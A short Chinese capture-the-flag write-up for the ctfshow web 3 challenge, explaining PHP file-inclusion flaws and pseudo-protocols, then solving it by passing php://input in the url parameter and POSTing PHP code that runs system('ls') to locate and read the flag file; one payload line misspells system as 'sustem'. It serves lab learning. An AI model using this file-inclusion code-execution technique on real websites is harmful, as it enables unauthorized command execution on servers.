CTFSHOW WEB 3

知识点补充:

"文件包含"漏洞 。当代码中使用了如 include(), require(), file_get_contents() 等函数,并且其参数(文件名/路径)用户可控时,就可能存在此漏洞。

常用伪协议总结:

1. php://filter :用来读取 PHP 文件的源代码
  1. php://input :用于执行代码 允许你访问原始的 HTTP 请求体(POST Data), <?php system('ls /'); ?> (post请求内容构造需要执行的代码,列出根目录文件);

解题思路:

1.根据上述补充,看到题目可以知道考察伪协议

2.使用burp抓包,再利用上述伪协议使用可执行PHP的代码

html 复制代码
?url=php://input?    ---- GET请求的url中拼接伪协议
<?php sustem('ls')?> ---- post请求内容构造需要执行的代码

3.根据回显内容,知道flag就在ctf_go_go_go的文件里,直接在url里面拼接,得到flag

html 复制代码
/?url=ctf_go_go_go
相关推荐
@菜菜_达3 分钟前
jquery.inputmask插件介绍
前端·javascript·jquery
QuZhengRong3 分钟前
【Luck-Report】缓存
java·前端·后端·vue·excel
jiayong238 分钟前
前端面试题库 - 浏览器与网络篇
前端·网络·面试
Csvn12 分钟前
小程序开发:微信小程序与 uni-app 实战指南
前端
摸鱼小李上线了18 分钟前
vue项目页面添加水印实现方法
前端·javascript·vue.js
砍材农夫24 分钟前
物联网 基于netty构建mqtt协议规范(主题通配符订阅)
java·前端·javascript·物联网·netty
彩票管理中心秘书长28 分钟前
智能体状态指示:何时思考、何时调用工具、何时出错
前端·后端·程序员
彩票管理中心秘书长28 分钟前
React + TypeScript拆解一整套“AI 变现代码流程”
前端·后端·程序员
广州华水科技31 分钟前
单北斗GNSS变形监测在基础设施安全中的应用与维护
前端
码途漫谈34 分钟前
把前端组件做成一座小岛:Animal-Island-UI 的自然风 React 组件库拆解
前端·开源